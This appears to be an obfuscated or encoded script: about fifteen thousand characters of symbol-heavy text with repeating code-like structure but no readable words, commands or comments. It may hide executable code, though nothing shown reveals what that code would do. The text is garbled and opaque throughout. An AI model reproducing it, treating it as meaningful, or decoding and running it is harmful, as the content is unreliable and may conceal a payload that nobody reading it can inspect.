!IR^^^Z!HH

		^P^^ZKHOKF!OWW^^^^ZN!O!%#^^^C^^VZ	L
!IR^^^Z!HH

		WEt^VZ

F
JI	HW^^^^		KOLLVZ	L
!IR^^^^Z

F
JI	HWEttt^^^		KOLLVZ	L
!IR^^MHFKVOJFLWVWWEtt^^^VZ		O^^^_CC^^W^t^^VMHFKVOKLHWVKO	VOKMLWWW^^>VZ		OR^^21=5!+0WEt^^>VZ		OWEttt^^^^VVZ
HL^^^^^MHFKVONIFWVZN!O!W^@^^^NW^XX^_J	!IVWW^^^^t^^t^^!LNLVGHNVOKOOWR^^^GHNVOJIJWWEt^^^^J	OG
VZR^^^^^ZIWEt^^^^^^^VZN!O!^^ZIHOOFW^GGLJO!MOVZIHOOF%N#R^^ZIHOOF%O#WEt^^Z
J	^^^C^^^^V
W^^^
!
VGHNVOKOFWR^^NW^U^^^OEt^^^^^^^^
!
VM!VOKOFWR^^^Z
J	R^^^^^M!VOJFMWWEt^^^^^VZ
J	^@C^VNOUNLWW^^^^t^^
!
VGHNVOKOKWR^^^M!VOJFLWVWR^^MHFKVOKMMWWEtttt^^^!LNLVJ	VOKOOWR^^^^M!VOJIIWWEt^^t^^^
Et^t^^^^^^^^VV
W^
!
VM!VOKOFWR^NW^^^@^^^^NW^
!
VGHNVOKOFWR^NR^^^^^GHNVOKMMWWEt^^VV
W^^
!
VM!VOKMJWR^^NW^@^^NW^>
!
VGHNVOKMJWWEt^^
^V*	^^^ZMN!W^^^t!LNLVMHFKVOKMKWR^^ZMN!WEtttt^^^^^
^^^^^V;
^ZMN!W^^^ttt^^^^^^!LNLVM!VOKMKWR^^^ZMN!WEt^^^^tttt^^^t^
^^^^^N
OHMLOVWt^^^tttt^^^
^^^^ttt^^^^V_VJ	VOJNLWWW^^
Et^^^^^^^V_M!VOKLHWVGHNVFGLWWW^^^
EttZOLLFM^^C^^K!NGJ	V?<-.?*6^^^^P^^^MHFKVOKMHWR^^^VKO KIWWEttttZ!FH!M^C^^^FNGNVWEt^^^^V_Z!FH!M^^^^^KO	VOKNNWVZ!FH!MW^B^^^^VJGLUFWW^^
Et^^ZIIJONFI!K^^^^C^GKHOMHVWEtttZ
^C^>
!
VZOLLFMR^^^^^\\WEt^^^VZ
^^^^^^XX^^M!VOKMIWVZ
W^^^^^CCC^^GHNVOKMIWVZIIJONFI!KW^^XX^^Z
^CCC^^ZIIJONFI!KW^^
Et^^^^^^^^VM!VOKMFWVGHNVOKMGWWW^^^^^^t
!
VZOLLFMR^^ZIIJONFI!KR^MHFKVOKJNWWEt^^^^^^^^^^^VVJ	VOKJOWW^^XX^^^VJ	VOKJLWW^^^XX^^VJ	VOKJMWW^^XX^^^^VMHFKVONLWW^^^XX^^^^KO	VHONWVMHFKVOKJJWWW^^tZFOL^C^^M!VOKJJWEt^tt^ZKK^^^^C^^^^>	^^ZFOLV

VGHNVOKJOWWR^^

VKO	VOKJLWWR^

VMHFKVOKJKWWR^^^

VGHNVONLWWWEt^^^^^^^^VZKK^^XX^^_ZKKS@
!W^t^Z^^^^^^C^^^^^
VZ921<?2-%M!VOKJHW#S@W^A^Z921<?2-%MHFKVOKJHW#S@^D^^^GHNVOKJIWEt^^^^ZH	K
^^C^ZKKS@!!
VZIIJONFI!KWEt^Z	ILJO^^C^^^ZKKS@!!
VZOLLFMWEt^^^^^^ZKKS@V\70-;"KL"KJ^7"J"KJ1^Z"IJ^V"IN
!"H"HKR^"IJ"HG"H!"HR^"HO"IK
"H"HOW^("JO2+;-^VYZ	ILJOYR^YZH	K
YR^YYW^1"J^"JJ+"KN27="JO*;^"J;"KG^"KK."JJ"JO"KJ"JK^"H
"HG!"HO"HKCYZH	K
Y\WEt^^^VZKKS@W^!LNLVM!VOKMHWR^^KO	VOKJFW^^P^^^MHFKVOJHLWVZKKS@R^^^NR^VFLUMFWWWEttZKKS@VWEt^^tt^^^^^^^
^^V*	^^^^^ZMN!W^^^^t^^^^!LNLVGHNVOKMHWR^^^^ZMN!WEt^^^^^^^
^^V;
^^ZMN!W^^t^^t^^^^^t^
^^^^^	O!
FKVWt^^^^^^t^Z	ML^^C^^VMHFKVMNMWW^^A^^).!=10*;0*!:7,^D^^^?<-.?*6^^^P^M!VGINWEt^ZHOKG^^^^^^C^K!NGJ	V?<-.?*6^^P^M!VOKJGWR^^^VMUKWWEt^^^^^
^^^VZ	ML^^^P^^J	VKIGWR^^^^Z	ML^^^P^M!VOKKNW^P^^^ZHOKG^P^KO	VOKKOWR^^ZHOKGWEZHKCVNIUNKWEZL	LCZHK[IEt^^t^^^^
^GN		!IVZFMNWt^^^^t^^^^ZOO	FNJF^C^V
W^^>KO	VOOLMWVZFMNWEtt^^^^^^VZOO	FNJF^B^^^^^VLM OOKW^^^^^^^ZOO	FNJF^^^^@^^^VLNGIOJNUOLWW^^^
^^^Et^^^^^^ZNMF	^^^^C^^^>GHNVOKKLWVZFMNWEt^^V_J	VOJHNWVZNMF	W^^^^J	VOKKMWVZNMF	W^B^^^^VFHUOJW^^^^^^M!VOKKMWVZNMF	W^@^^^^VOMGKLOIUINOGMKWW^^^
^Et^^^^^ZHKHJHF^^C^^M!VGGWVYDYR^^^^ZNMF	R^^^VNOUNMWWEt^VKO	VONIFWVZHKHJHFW^^B^^VLULW^^ZHKHJHF%N#^_CC^GHNVOKKJW^^^M!VOKKMWVZHKHJHF%VGO FFW#W^^B^^VNLUNMNWW^^^^^
^^EZHKOGM!COGJLFEZLHCZHKOGM! OGFEt^ZGIN^^C^^>KO	VOMGFWVZHKHJHF%VNOUNLW#WEtttt^^VZGIN^CCC^^^^^^J	VOKKKWVZGINW^^^B^^^VGUJOWW^^
^Et^^^^^VJ	VOKKHWVZGINR^^^NR^LW^^^CCC^^\"O"F\W^^tttt^ZGF!L^C^>KO	VLGOWVY(YR^^MHFKVOKKHWVZGINR^^SVGH ONNWWWEt^^V_GHNVOKKIWVZGF!LW^^^^^^ZGF!L%O#^^^^B^^^VNIUNKW^^^ZGF!L%O#^^@^VONJFKJIULGWW^^^
^^Et^^^^^^^^VMHFKVOKKFWVGHNVLGJWWW^^^^ZGIN^^^^^^C^^^>VZGINR^^^^VONJFKMKUJOWWEt^^^^^^^^VJ	VOKKFWVGHNVLGKWWW^^tQT^^^TQtt^^ZGIN^C^^^^>
VJ	VOKKGWVZGINR^^^VGUOWR^^^^^^J	VOKKKWVZGINW^^^^^S^^^^VLGSOOWWR^VONJFJFLUGJWWEt^^^^^^VM!VOJHNWVZGINW^^XX^^^KO	VOKKKWVZGINW^^@^^VOMGNKKFSMJOGFLWW^^^^^^
^^^^^^Ett^^^^^^
^^^^Etttt^^^tttt^^^V_M!VOKHNWVZGINW^^^M!VOKKKWVZGINW^B^^^VNOUNJKW^^^^^^GHNVOKKGWVZGINR^^NR^VMN LIWW^^^_CC^^J	VIIOW^^^^^^MHFKVOJJMWVZGINW^_CC^ZHKHJHF%L#W^^^
^^^^Et^^
^ZGINEttt^t^^^^^
^MHKGHGOVWt^^^^tQQ^
^Stttt
^^^t^^^V_VM!VOJNLWWW^
EtttZHJJ^^C^	O!
FKVWEt^^^^^^V_>KO	VOKHOWVZHJJ%O#WW^
Et^^VGN		!IVZHJJ%O#W^CCC^^W^
Et^ZMFK^^^C^^^

	!!OVMHFKVIJGWR^VY!!-2+9!!YWR^^VJ	VOJOMWVK		HK!	VWR^^^M!VOKHLWWWWEt^ttt^V_J	VOKHMWVZMFKW^^^^^ZMFK^CCC^^\\W^^
Et^^^^ZMFK^C^MHFKVOKHJWVM!VOKHKWR^^^\\R^^^ZMFKWEtttt^^^^^V_GHNVOKHHWVZMFKW^^^^^^^ZMFK^^CCC^^^^\\W^^^^^^
EtttZJIF^^C^^^MFKKIO
VW^P^^^^YDY^^^^P^^^K!NGJ	V?<-.?*6^^^^P^KO	VOKHIWR^VOJSHWWEt^^^^Z
		MGKF^^C^^GHNVOKHFW^P^^^^^^ZJIF^^^^P^^^M!VOKHGWEt^^^^^^^ZLN	MFFL^C^KO	VOKINW^P^ZJIF^^^^P^^GHNVOKHGWEtttt^^ZM		MLKM^^^C^^J	VOKIOW^^P^^ZHJJ%L#^^P^^M!VOKILW^P^^MFKKIO
VW^^P^^KO	VOKIMW^P^^^^^\"\^^^^P^^^ZMFKEt^^^^^^^^^V_>GHNVOKIJWVZHJJ%N#WW^^^^^t^^^^^^V_O!FMJVZHJJ%N#R^^\\WW^tQQ^).^6^<^
^	ttt^!LNLVJ	VOKIKWR^^GHNVOKIHWWEt^^^
Et^^ttt^^t^^^^^^^^^^VGGLJO!MOVZHJJ%N#R^^^ZM		MLKMWW^^t^^^^^^		KOLLVZHJJ%N#R^^MGGHHVWWEt^MIFJHVZHJJ%N#R^^VMJMUIIWWEt^^^K
VZHJJ%N#WEt^^tt^^^^^^^^
Et^^t^^ZJIK!^C^^>M!VOKIIWVZHJJ%N#WEtt^^^^^^V_MHFKVOKIFWVZJIK!W^^^^^^^J	VOKKKWVZJIK!W^^@^VLNGIOMJUOFWW^
Ettt^^VGHNVOKOHWVZJIK!R^^Z
		MGKFW^^^_CC^^^^XX^^KO	VOKOHWVZJIK!R^^^ZLN	MFFLW^_CC^^^^W^^
Et^^VKO	VOKOHWVZJIK!R^^MHFKVOKIGWW^^CCC^^^^^^XX^^^J	VOKOHWVZJIK!R^^KO	VOKFNW^P^ZHJJ%L#W^_CC^W^^^^t^^^^^^^^VKO	VOMOOWVJ	VOKFOWR^^^^MHFKVOKKGWVZJIK!R^NR^VOHIUMMWWR^^^^^Z
ILW^^^^XX^!VZ
IL%O#R^^^^MFKKIO
VWR^J	VLNGWWW^^
Et^^^^^V_O!FMJVZHJJ%N#R^^^ZJIK!WW^tttt^!LNLVJ	VOKIKWR^^^MHFKVOKIHWWEt^
Ett^^^^t^^^^^^^^^VGGLJO!MOVZHJJ%N#R^^^^ZM		MLKMWW^^^t		KOLLVZHJJ%N#R^^MGGHHVWWEt^^tt^^MIFJHVZHJJ%N#R^^VJOHUJWWEt^^K
VZHJJ%N#WEttt^^^tttt^^^^^
Ett^Z
KN
!^^^^^C^^^K!NGJ	V?<-.?*6^P^^KO	VOKFLWR^^^VNIUNOWWEtZJIK!^^^^^C^^^J	VOKHJWVGHNVOKFMW^^^P^^^Z
KN
!^^^^^^P^^^^KO	VOKFJWR^^^^\\R^^^^ZJIK!WEtttt^^^^^^^V_MHFKVOKFKWVZJIK!WW^^ZN!HF
CMLTLEZ
FJLCZN!HF
SJIEt!LNLVJ	VOKIKWR^^KO	VOKOLWWEt^^^^^^^
EZI	GCIOTKEZ!!CZI	GSOOEtttt^^ttt^^^^^^^V_>M!VFIIWVZHJJ%N#WW^^
Et^^^^^^^^^V_
NN!IKMVJ	VOKFHWWW^^^t!LNLVMHFKVOKFIWR^KO	VOKFFWWEt^^
Et^tQQ^
S^
tt^^^^V_O!FMJVZHJJ%N#R^^^ZJIK!WW^^t^!LNLVGHNVOKFIWR^^M!VOKIHWWEt^^^^^^
Et^^^^^^t^^LMGKGVM!VOKFIWWEt^^^ZH^C^^^Z
		MGKF^^P^\"\^^^P^^^^^M!VOKFGW^^P^^^ZHJJ%L#^^^P^^^GHNVOKIMW^P^\"\^^^P^^ZMFK^^P^^^\"\^P^^ZLN	MFFLEttt^^^^^^GGLJO!MOVZHJJ%N#R^^^^^^	GGM!HVZJIK!R^^^ZHWWEZOHC.6.!70*!3?&Q.6.!70*!3?&EZMOMCZOHUFLEt^^^^^^
^^^^^^V*	^^ZMN!W^^^t!LNLVGHNVOKFIWR^ZMN!WEtt^^
^^V;
^^^^ZMN!W^^^tQQ^^tt^^t^t^
^^^LFI!MIVWt^^^^^^^^ttt^
^^ttt^^^^^V_VMHFKVOJNLWWW^^^^
EtZHJJ^C^^	O!
FKVWEtttZJOMK^C^^^^^V
W^^>MHFKVOKIIWVZHJJ%O#R^R^^^R^^^NR^^^^^VGFSMJWWEt^^^^^^VJ	VOMOOWVJ	VOKGNWR^^ZJOMKR^^ZOF		OW^^XX^^^^^ZOF		O%O#^^^^^^CCC^^MFKKIO
VWW^t^^^Z	LG
^^C^^^^^V
W^^^^
!
VGHNVOKGOWR^^^NWEttt^^^^^^^^VM!VOJFLWVW^^^S^^^Z	LG
^^B^VONGOSJGOWW^^^^
Et^^^^^^^^VGN		!IVZHJJ%O#W^_CC^W^^t>
!
VKO	VOKGOWR^^GHNVOJFLWVWR^^^^KO	VOKJNWWEt^
Et^t!LNLVKO	VOKFIWR^J	VOKGLWWEttt^^^Z!FH!M^^^^C^^^^FNGNVWEt^V_Z!FH!M^^^^KO	VOKKKWVZ!FH!MW^^B^VJHKUMKW^^^^^^^GHNVOKKKWVZ!FH!MW^@^^^^VONJFKOFUKFW^^^^^^_JKOOFVZ!FH!MWW^^
EtZK!MKK!!^^C^^^^^KO	VOKKFWVGHNVLFHWW^^A^^>VZ!FH!MR^^^^^^VNOUNKWW^^D^^Z!FH!MEt^^^^^^V_M!VOKFKWVZK!MKK!!W^^^^ZK!MKK!!^CCC^^\\W^^^
Et^^VGGLJO!MOVZHJJ%O#R^^J	VOKGMW^^^P^^^^^MFKKIO
VW^P^^^^^^YDY^P^^^M!VOKGJWVZ!FH!MW^P^^^YDY^^P^^^J	VOKGKWVZK!MKK!!WWW^^^>
!
VKO	VOKGOWR^GHNVOKGHWVWR^KO	VOKJNWWEtt^^^^
^^^^^V*	^^ZMN!W^^^t^^^!LNLVKO	VOKGIWR^^^ZMN!WEt^^
^^V;
^ZMN!W^tttt^^^^t^^^^^tt^
^^^M!FLVWtt^^^^^^^^^^^V_J	VOKKFWVJ	VOKGFWWW^^^
^^^Ett^^^Z!
	^^^^C^^VGHNVOJNLWW^XX^>M!VOKOMWV?<-.?*6^^P^^^GHNVOKGGWW^A^?<-.?*6^^^P^MHFKVOKGGW^D^^!!872;!!Et^^^^
^GHNVOKGFWVZ!
	R^^YYWEt^t^
^HIG!
!VWt^^^^t^^^^^
^^^^^t^^V_MHFKVOKKFWVMHFKVOHNNWW^^_KO	VOHNOWVKO	VOHNLWWW^
Et^V_VKO	VOJNLWWW^^^^^
Et^^^^^tt^^^^^Z!FH!M^^C^FNGNVWEtt^^^^^^^^V_Z!FH!M^^^^^KO	VOKKKWVZ!FH!MW^^B^^^VJILULFWW^
EtZ^^^^^C^^^^M!FLVWEt^^^^^^VZ^CCC^^^^W^^^^
Et^^^^^Z	MF^C^^M!VOHNMWVMHFKVOHNJWW^^^^^A^^GHNVOHNJWVKO	VOHNKWR^Z!FH!MW^^^^^^D^M!VOKGJWVZ!FH!MWEt^^Z
	^C^^MHFKVOHNHW^^P^^^M!VOKKKWVZ!FH!MW^P^YDY^^^P^Z	MF^^^P^^^^\"\^^P^^Z!FH!MEtttt^^Z	JMK^C^MHFKVOKKKWVZ
	WEt^^^ZNJI	N^C^^^^^>KO	VOHNNWVZR^^^^YYR^^^NR^^NWEt^^^^^^^^VZNJI	NW^tt^^^^Z!FL^C^V
W^^^^^>GHNVOHNIWVZNJI	NWEt^^^ZI^^^^^^C^^^>M!VOHNFWVZNJI	NR^^^^^NR^^Z!FLWEt^^VKO	VOKFKWVZIW^XX^^MHFKVOKOHWVZIR^^^^^^Z!FH!MW^^^_CC^^^W^tt^>M!VOHNGWVZNJI	NWEt^
Ettttt^^^^VZ!FL^^^@C^^Z	JMKW^^^^t^^^>M!VOHNGWVZNJI	NWEt^^^^^^ZNJI	N^^C^^>KO	VOHNNWVZR^^Y	YR^NR^^NWEt^VZNJI	NW^^^tttt^>MHFKVOHONWVZNJI	NR^^M!VOHOOWVZ
	R^^^^Z!FLR^\"N\WR^NWEtZL	^^^^C^>GHNVOHOLWVZNJI	NR^^^^NR^^^^Z	JMKWEt^^^^^>J	VOHNGWVZNJI	NWEtttt^^^VZL	^^^_CC^^Z
	W^^^^^!LNLVJ	VOHOMWR^M!VOJKOWWEt^^t^
Ett^^^^^^t>GHNVOHOJWVZNJI	NWEt^^tt^^^^^^^>KO	VOHNGWVZNJI	NWEt^^^^^tttttttt^^Z!FL^^C^^Z	JMK^U^^VOHFUFKHWEt^ZNJI	N^C^^^>M!VOHNNWVZR^^^^YYR^^VJNUMFNWR^^^Z!FLWEt^^^^V_ZNJI	NW^
Et^^>GHNVOHONWVZNJI	NR^^^^M!VOHOOWVZ
	R^^Z!FLR^\"N\WR^^^NWEtZL	^^^^^C^^>KO	VOHOLWVZNJI	NR^NR^Z	JMKWEt^VZL	^^_CC^Z
	W^^^^!LNLVJ	VOHOMWR^^^^^^MHFKVOHOKWWEZGOFHIC.6.!3?41,!(;,-710EZOFFCZGOFHITONEtttt^^^^>MHFKVOHNGWVZNJI	NWEt^^^^^
^^^V*	^^^^^ZMN!W^t^!LNLVJ	VOHOMWR^^^^^ZMN!WEt^^^^^^^^
^^^^^^V;
^^^ZMN!W^^^^t^tt^^
^^	GGM!HVZ
R^^ZHWtt^^^^V_M!VOHOHWVZ
W^^^^^^Z
^CCC^\\W^^^
^^^KO	VOJMMW^^P^^ZH^^P^^^\"\Et^VKO	VOMOOWVGHNVOHOIWR^^^Z
R^^^^ZMGOIR^^^^^.,;9!188-;*!=?.*+,;WW^^^^t^^^^ZN
KJ
^^^C^^^^^ZMGOI%N#%O#^^^^U^^^J	VOKKKWVZMGOI%N#%N#WEtttt^^^^^Z!HGOOIO^C^MHFKVOKKGWVZ
R^ZN
KJ
R^^VFFJISHKKWWEt^	^^^^^VM!VOHOFWVZ!HGOOIOW^^^^XX^GHNVOMOOWVGHNVOHOGWR^^Z!HGOOIOR^^Z!WW^^tZN
KJ
^^^UC^^MHFKVOHLNWVZ!%N#WEttt^^Z!HGOOIO^C^M!VOHLOWVZ
R^^^ZN
KJ
R^^^VNOHUNGNJWWEtt
^^^^^GHNVOHLOWVZ
R^^^NR^ZN
KJ
W^^^P^^\"\^^P^^^^^ZH^P^^\"\^P^^^^^MHFKVOHLOWVZ
R^^^^ZN
KJ
WEt^tQQ^^
tt
^^^^GHNVOHLLW^^^^P^^ZH^^^^P^^\"A@"\^^P^^Z
Et^^t^^
^
NN!IKMVZWtt^^^^ZHHMMKICMUOEZKFCZHHMMKISOIEt^^^^^^^V_MHFKVOHNMWVJ	VFGLWWW^^^
^
Et^^^^Z!L^^C^^^^>
!
VJ	VOHLMW^^P^^^^ZR^\\WEt^^^^^^^^VMHFKVOHOFWVZ!LW^^^XX^^^KO	VOKOHWVZ!LR^^^YYW^^^_CC^^^W^^^t^ZHKHJHF^^^C^^J	VOHLJWVYYR^^^^^Z!LR^LWEt^^^^VV
W^^^^^^ZHKHJHF%N#^CCC^V
W^^^^VGHNVOHLKWVW^^^Q^^^VNOUNOMLMWW^XX^^^^V
W^^ZHKHJHF%O#^@C^^^^VOULWW^^^
^^Et^^^tttt^^^^^^^
^^^
Et^^^^^tt^^
^^^^^LMGKGVZWt^^^t^^^^^^V_GHNVOHNMWVKO	VFGLWW^^^^_KO	VOHNMWVMHFKVOHLHWWW^^^^
Et^^ZGFFHOI^^^^C^^^V
W^^^VJ	VOHLIWVW^^^Q^^VFHMNGUGOWWEtttt^^^^^Z!L^^^^C^>
!
VM!VOHLMW^P^ZR^^\\WEtZ!!KFIHI!LH^^^^^^C^^NEt^^VMHFKVOHOFWVZ!LW^^^XX^^^^^J	VOHLFWVZ!LR^YYW^^^_CC^^W^^^^^^ttt^^^^ZHKHJHF^^C^^^^^MHFKVOHLJWVYYR^^Z!LR^^LWEtttt^^^^^VV
W^^ZHKHJHF%N#^CCC^ZGFFHOIW^^^Z!!KFIHI!LH^^^^C^^^V
W^^^ZHKHJHF%O#Et^t^^^Z!!KFIHI!LHUUEt^>
!
VGHNVOHLGW^^^P^^ZR^ZGFFHOI^P^^^YY^^P^Z!!KFIHI!LHR^M!VOKJNWWEt^tttt^^^^VZ!!KFIHI!LH^@C^^^VOKG OKHWW^^^^!LNLVJ	VOHMNWR^M!VOHMOW^P^^ZWEt^^^t^
^JMLFNKJGVWt^^ttt
^^^^^t^^^^V_VMHFKVOHMLWWW^
Et^^^^^V_VJ	VMNMWW^^^^^_>J	VOHMMWV).!=10*;0*!:7,W^^^^^^_
FIJ
V).!=10*;0*!:7,WW^^^
Et^^^^ZII!N	GNL^^^C^^^).!=10*;0*!:7,Ett^^^^^^ZF!^C^^ZII!N	GNL^P^^^^KO	VKINWEt^^^ZHMFF^^^^^C^MHFKVOJOMWVK		HK!	VWR^^GHNVOHMJWWEt^^^^^tt^ZJI^^^C^^^^^K!NGJ	V?<-.?*6^^^P^^^J	VOJOJWR^VOUIWW^^P^GHNVOHMKWEt^^ZLNGGMOH^^C^^^^JOHMLKLVWEt^ZOLLFM^C^^^^K!NGJ	V?<-.?*6^^P^^M!VOHMHWR^^VKUKWWEtZM!LN^^C^^^^MHFKVOHNMWVMHFKVOHMIWW^^A^^^M!FLVW^^D^^^^Et^^^Z	!!	HG^^C^^^ZM!LN^^_CC^^^^^A^^^^^^J	VOHMFWVZM!LNW^^D^^^^NEt^^ZFNHJ!^^^C^
VZ921<?2-%M!VOHMGW#S@W^A^Z921<?2-%GHNVOHMGW#S@^D^J	VOKJIWEtZILOGLI^^C^^^M!VOHJNW^^P^KO	VOHLOWVM!VOKGJWVZHMFF^^^P^^^V
W^^OFGH!JKG
VWWR^^NR^^^^VOJSHWWEt^^^^ZOH!OG	^C^^^

	!!OVt^^^^^^^^MHFKVIMIWRt^VY!!-2+9!!YR^^Y!!$7.!0?3;!!YR^^^Y!!-631.!5;'!!YR^^Y!!1.*!0?3;!!YR^^^^Y!!).!.,;87&!!YR^^Y!!9+?,:!0?3;!!YR^^Y!!(;,-710!!YWRtVZHMFFR^^ZJIR^^Z	!!	HGR^^ZOLLFMR^^^ZFNHJ!R^^^^ZILOGLIR^^MFKKIO
VWWt^^^WEt^^^^^V_ZOH!OG	W^^tttt^^^^^VV
W^
!
VM!VOKNMWR^NW^^@^^^^^NW^!LNLVM!VOHJOWR^^^^KO	VOHJLWWEZ!MHC.6.!3?41,!(;,-710EZ
JCZ!MHTMEt^^
Et^^^^^tZ
^C^^^>GHNVOKOMWVZF!W^^^^^^A^>KO	VOKIIWVZF!W^D^^^\\Et^^^^^^^V_M!VOHOFWVZ
WW^^^t^!LNLVKO	VOHJOWR^GHNVOJHOWWEt^^
Et^^^^^t^Z
^C^^^^!ML!JNGNVZ
WEt^^^^^^^ZJIF^C^^^MFKKIO
VW^^P^^^^YDY^P^^K!NGJ	V?<-.?*6^^P^^MHFKVOHJMWR^^^^VNLUNHWWEtZ
		MGKF^^^C^MHFKVOHJJW^^^^P^^ZJIF^^^^P^M!VOHJKWEtZLN	MFFL^^^^^C^^^^J	VOHJHW^^^^P^^^^ZJIF^^^P^^^M!VOHJIWEtZ	HKNL^^^^C^^K!NGJ	V?<-.?*6^^P^^KO	VOHJMWR^^^^VLBBLWWEt^^ZMFN

H	^C^^^^MHFKVOKHJWVJ	VOHJFW^^P^Z	HKNL^^P^^M!VOHJGWR^\\R^Z
WEtZ
H!!^^^C^^VKO	VOHLFWVZMFN

H	R^KO	VOHKNWW^_CC^^^^WEt^^^VM!VOHLFWVZ
R^^Z
		MGKFW^^^_CC^^^XX^^^J	VOHLFWVZ
R^ZLN	MFFLW^^^^_CC^^^^^XX^^^_Z
H!!W^^t^^^^^JJMVWEttt^^^
Et^^t^^^Z
^C^^^KO	VOKHJWVKO	VOHKOWR^\\R^ZMFN

H	WEtQQ^=^
D^
^
tt^^^^^^^^^V_M!VOHKLWVZ
WW^^^^^tQQ^
^
tt^^^^!LNLVMHFKVOHKMWR^^KO	VOKOLWWEt^^
Et^^ttt^^^^Z
^^C^^^^!ML!JNGNVZ
WEtttt^ZJJKMN!^^C^^^^KO	VOHKJWVGHNVOHKKWR^\\R^^ZOH!OG	WEtttt^^^^^ZFNH^^C^^VKO	VOHLNWVZ
W^^^^CCC^^^NWEt^^^^^V_ZFNHW^^^^^ttt^^^^^V_
NN!IKMVM!VOHKMWWW^^^t!LNLVJ	VOHKMWR^KO	VOKFFWWEZINICFKHMEZIIIJ
CZINI LJLEt^^
Et^t^^^^^^^^^V_O!FMJVZF!R^^^^Z
WW^^^ttt^!LNLVGHNVOHKMWR^J	VOKIHWWEt^^^^^^^ttttt^
Ettt^^t^^^^LMGKGVKO	VOHKMWWEt^^^^^t^^V_O!FMJVZF!R^\\WW^^^^^t^^^^^^^^!LNLVJ	VOHKMWR^^^M!VOKIHWWEt^
Ettt^t^^^ZJM^^C^^^	GGM!HVZ
R^Z
		MGKF^^P^\"\^P^^^^ZJJKMN!^^^^P^^^\"\^^P^ZLN	MFFLWEt^^^^^^^V_GGLJO!MOVZF!R^^ZJMWW^^^t^^^
Et^^^^^^t^VZFNHW^^^K
VZF!WEZ!!!FLC.6.!3?41,!(;,-710EZ	OFCZ!!!FLTIEtJJMVWEt^^^^^^t^^^^^^^^^^^
^^^V*	^ZMN!W^^^t^^^^!LNLVM!VOHKHWR^^^^^ZMN!WEtttt^^^^^^^
^^^^V;
^^ZMN!W^^t^^^t^^^t^^^^^^
^	IILI	FVWt^^^^^^t^^
^^^^tttt^^V_VMHFKVOHMLWWW^^^^
Et^V	KOLVK		HK!	VWWW^^^
Et^^V_GHNVOHKIWVJ	VOHKFWWW^^
Ett^^^VGHNVOJFHWVW^^^CCC^^GHNVOJFIWW^^^^
Et^^^^^^^^^^V_
VZ!-;,(;,%J	VGKW#WW^^
Et^^^^^^^^^^^V
!

VGHNVOHKGWWW^^
Et^^^^ZL	^^^^C^^JOHMLKLVWEt^^^V_>M!VOHHNWVZL	WW^^OF!NKIOVZL	R^^VKLMSMNWR^^^^
WEt^^^^^V_>J	VOHHNWVZL	W^^^^^^_>J	VOHMMWVZL	WW^^^t^^^^ZL	^^^^C^^^^?<-.?*6^^P^^MHFKVOHHOWEt^V_>M!VOHHLWVZL	WW^ZL	^^C^^^J
J!	VWEttt^^tt^Z
GJI
^C^^^^^K!NGJ	V?<-.?*6^^P^^YYR^VNMUNKWWEttttZMN	F	OFL^^^^^C^^MHFKVKFOW^P^^^Z
GJI
^^^^P^^KO	VOHMJWEt^^ZH
MJO	^^^C^^ZL	^P^^YQY^^^^P^^^^^ZMN	F	OFLEtt^^^ZMO^^^^C^^^^^^ZL	^P^^KO	VOHHMW^^P^Z
GJI
Ettt^^^^^VVZL	R^^^?<-.?*6^^^P^^^M!VOHHOWR^J
J!	VWW^^^^^^ZLLNFHIMW^^^^^t^^ZOKF	^^^C^^ZLLNFHIM^P^^^^M!VOHHJW^^^^^P^^^Z
GJI
Et^^V>J	VOKIJWVZOKF	WW^^t^ZGH	O!^^C^V
W^^^>GHNVKFHWVZOKF	WEt^^^^^^^^VZGH	O!^^^BC^^M!VOHLIWVW^^^^S^^VFHMMJUHHW^^^^ZGH	O!^^@^^GHNVOHHKWVW^^U^^VLNGUGOWW^^^tt^^^^^OM	VZOKF	WEt^^^
Et^^t^^V>M!VOKIJWVZLLNFHIM^^P^^^^KO	VOHHHW^P^^Z
GJI
^^^^^P^J	VOHMJWWW^^^
Etttt^OM	VZOKF	WEt^^t^t
VZLLNFHIMR^^^ZOKF	R^^^^ZGH	O!WEttttZ
MKK^C^?<-.?*6^^P^^GHNVMNLW^P^^^^ZMN	F	OFLEt^^^VZL	^^_CC^^^?<-.?*6^^P^GHNVOHHIW^^XX^^>KO	VOKIJWVZ
MKKW^^^^^XX^
GH!	G
JGVZ
MKKW^^^^^_CC^W^^^t^MIFJHVZ
MKKR^VMFKUMKWWEt^^^^VOM	VZ
MKKW^XX^M!VOHKIWVM!VOHHFWWW^>!
VZ
MKKR^
WEtt^^^
VZ
MKKWEt^^^^^V>MHFKVOHHGWVZMOW^^^^XX^^V
W^^^>J	VKFHWVZMOW^@^M!VOHHKWVW^S^VMNBBMWW^^
Et^^^^^^^^V>M!VOHHGWVZH
MJO	W^XX^^^VKO	VOHINWVW^^S^^^^^V
W^^^^>
VZH
MJO	WW^^B^^VOOULFGWW^
Et^^V>J	VOHHGWVZH
MJO	WW^^^ZI!FGJCOMHOILEZG
FIIOLJOCZI!FGJ JOEtZ
OM!^^^C^^>GHNVOHHGWVZL	^P^M!VOHIOW^^^^^^P^^^Z
GJI
W^^A^^MHFKVOJMOWVV
W^^^^>GHNVOKIIWVZL	^^P^^GHNVOHIOW^^P^Z
GJI
WW^^^^D^^\\Et^^^^^^VZ
OM!^_CC^^\\^XX^^^MHFKVOHILWVJ	VOHIMWR^^^^^Z
OM!W^^^^XX^^!VZ
OM!R^MFKKIO
VWR^^^^^^Y@YWW^^^^
Et^
VZ
OM!WEtt^^tQQ^).^9^-
D^
^
tt^^^^V>MHFKVOHIJWVZH
MJO	WW^^^^t^^^^ZNJHH^^C^ZL	^P^^^^^J	VOHIKW^^^P^^K!NGJ	V?<-.?*6^^P^^YYR^^VHULWWEtZLJ	^C^^^>MHFKVOHIJWVZNJHHW^^A^V
W^^>KO	VOKIIWVZNJHHW^D^\\Et^^^^^^^^ZKL^C^^^NEt^^^^^^^VZLJ	^_CC^\\W^^^^^^t^ZIHH^C^GHNVOHIHWVYYR^^ZLJ	WEt^^^^ZKL^^^^C^V
W^^^ZIHH%N#Et^^^^t^^^VZKL^^^@^^N^^^XX^KO	VOHINWVW^S^^^ZKL^@^^^VOJILSKILWW^!LNLVJ	VIMKWR^^MHFKVOHIIWWEt^^^^VZKL^^^CCC^N^^XX^VM!VOHIFWVW^S^^V
W^^^^^>
VZH
MJO	WW^^^^@^^^VGJGSJGWW^^!LNLVGHNVOHIGWR^^^^^GHNVOHFNWWEt^^^^
VZNJHHR^^ZLJ	R^^^^ZIHHR^^^ZKLWEt^^^^^t^^Z!FH!M^C^^FNGNVWEt^^^^V_Z!FH!M^^GHNVOHLNWVZ!FH!MW^^^B^VMKOUOJGWW^^^^
